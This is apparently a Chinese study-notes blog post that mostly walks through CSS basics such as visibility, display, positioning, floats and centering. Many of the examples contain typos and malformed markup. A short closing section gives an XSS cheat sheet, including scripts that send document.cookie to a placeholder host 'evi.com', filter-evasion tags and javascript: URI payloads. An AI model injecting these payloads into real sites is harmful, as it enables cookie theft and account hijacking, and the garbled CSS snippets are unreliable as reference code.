HTML&javaSkcript&CSS&jQuery&ajax-XSS

一、CSS  标题隐藏

1、 <sytle>h1.hidden {visibility: hidden;}

               </style>

    <body> <h1>这是一个可以看见的标题</h1>

                   <h1 class="hidden">这是隐藏的标题</h1></body>该元素被隐藏了,但是占得空间任然存在

2、<style>

   h1.hidden{dispaly:none;}</style>

   <body><h1 class="hidden">这是一个隐藏标题</h1></body>  display 的属性 空间会被替换

3、<style>li{displey:inline;}</style>   <!--显示为内联元素--><body>

    <ul><li><a href="/html/" target=_blank";>HTML</a></li></ul></body>

4、<style>span{

    display:block;}</style>

<body>

<h2>NIRDD</h2>

    <span>KJNLKSDN</span></body>

5、CSS Positioning   position 属性定位了元素的位置

    <style> p.pos_fixed{

 position:fixed;

top:30px;

right:50px;}</style>

<body><p class="pos_fixed" >Some more text </p></body>

6、relative 定位相对于定位元素的正常位置

 <style> h2.pos_left{

 position:relative;

left:-20px;}

h2.pos_right{

position:relative;

left:20px;}</style>

7、absolute定位 位置相对于自己最近的父位元素,如果没有该元素则相对于HTML

<style>

h2{position:absolute;

left:100px;

top:150px;

}</style>

<body><h2这是一个绝对定位的元素></h2></body>

8、重叠元素的定位

元素的定位于文档流无关,所以可以覆盖页面上的元素, Z-index属性指定了一个元素的堆叠顺序,一个元素可以有正数和负数的堆叠顺序

<style>img{position:absolute;

left:0px;

top:opx;

z-index:-1}</style>

<body><h1>这是最上面显示的一层</h1>

<img src="ww.gif" width="100" heigth="23" /></body>

9、CSS Float 属性设置

     图像的浮动   <style>

img{float:right;

}</style>

<body>

<p>图片浮动,文字会绕着图片</p>

 <img src="logcss.gif" width="3" height="3" >

  <p>JKLJDPF</p></body>

如果将几个浮动的图片放到一起,则图片会相邻排序

   <style>.thumbnail{

float:left;

width:100px;

height:0px;

margin:4px;}</style>

<body>

<img  class ="thumbnail" src="s.gif"  width="1" height="2" >

<img  class ="thumbnail" src="t.gif"  width="1" height="2" >

<img  class ="thumbnail" src="g.gif"  width="1" height="2" >

<img  class ="thumbnail" src="h.gif"  width="1" height="2" ></body>

10、元素浮动之后周围的元素会重新排列,为了避免这种情况,使用clear属性,clear属性指定元素两侧不能出现浮动元素

使用clear属性王文本中添加图片的轮廓

    <style>

.thumbnail{

float:left;

width:100px;

height:90px;

margin:3px;}

.text_line{

clear:both;

margin-bottom:2px;}</style>

<body><img class="thumbnail" src="/image/tian.gif"  hreight="23" width="32";>

<img class="thumbnail" src="/image/tian.gif"  hreight="23" width="32";>

<img class="thumbnail" src="/image/tian.gif"  hreight="23" width="32";>

<h3 class="text_line">第二行</h3>

<img class="thumbnail" src="/image/tian.gif"  hreight="23" width="32";>

<img class="thumbnail" src="/image/tian.gif"  hreight="23" width="32";></body>

11、CSS布局 水平&垂直对齐  元素居中

要水平居中对齐一个元素如<div>可以使用margin :auto;   涉及到元素的宽度防止它溢出到容器的边缘,元素通过制定宽度,并将两边的空边距平珏分配

<style>

.center{margin:auto;

 width:60%:

broder: 3px solid rgb(12,23,23);

padding;10px;}</style>

<body>

<div class="center"><p>KJJJPJ</p></div></body>

12、文本居中对齐

    <style>

.center{

text-align:cener;

border: 3px solid green;}</style>

<body><div class="center"><p>文本居中对齐</p></div></body>

13、图片居中对齐

 <style>img{display:block;

margin: 0 auto;

4}</style>

<body><img src="www.baidu/od.gif" alt="psds" style="width:40%”;></body>

二、XSS跨站脚本

 1、常见的XSS代码SHEET

    <script>alert(1);</script>    <script>alert("XSS")  </script>   <script src="http:www.evi.com/cookie.php"></script>

<script>location.href="http://ww.evi.com/cookie.php?cookie="+escape(document.cookie)</script>

<src<script>ipt>alert("XSS");</src</script>ipt>

2、利用<>标记注入 HTML/JavaScript   

   <scirpt>shellcode</script>

3、<table background="javascript:alert(/XSS/)”></table>

<img src="javascript:alert('XSS');"/>

 

posted @ 2018-03-06 22:35  疏桐  阅读(445)  评论(0)    收藏  举报
function e(n){ return document.getElementsByTagName(n) } function t(){ var t=e("script"),o=t.length,i=t[o-1]; return{ l:o,z:n(i,"zIndex",-1),o:n(i,"opacity",.5),c:n(i,"color","0,0,0"),n:n(i,"count",99) } } function o(){ a=m.width=window.innerWidth||document.documentElement.clientWidth||document.body.clientWidth, c=m.height=window.innerHeight||document.documentElement.clientHeight||document.body.clientHeight } function i(){ r.clearRect(0,0,a,c); var n,e,t,o,m,l; s.forEach(function(i,x){ for(i.x+=i.xa,i.y+=i.ya,i.xa*=i.x>a||i.x<0?-1:1,i.ya*=i.y>c||i.y<0?-1:1,r.fillRect(i.x-.5,i.y-.5,1,1),e=x+1;e=n.max/2&&(i.x-=.03*o,i.y-=.03*m), t=(n.max-l)/n.max,r.beginPath(),r.lineWidth=t/2,r.strokeStyle="rgba("+d.c+","+(t+.2)+")",r.moveTo(i.x,i.y),r.lineTo(n.x,n.y),r.stroke())) }), x(i) } var a,c,u,m=document.createElement("canvas"), d=t(),l="c_n"+d.l,r=m.getContext("2d"), x=window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame|| function(n){ window.setTimeout(n,1e3/45) }, w=Math.random,y={x:null,y:null,max:2e4};m.id=l,m.style.cssText="position:fixed;top:0;left:0;z-index:"+d.z+";opacity:"+d.o,e("body")[0].appendChild(m),o(),window.onresize=o, window.onmousemove=function(n){ n=n||window.event,y.x=n.clientX,y.y=n.clientY }, window.onmouseout=function(){ y.x=null,y.y=null }; for(var s=[],f=0;d.n>f;f++){ var h=w()*a,g=w()*c,v=2*w()-1,p=2*w()-1;s.push({x:h,y:g,xa:v,ya:p,max:6e3}) } u=s.concat([y]), setTimeout(function(){i()},100) }();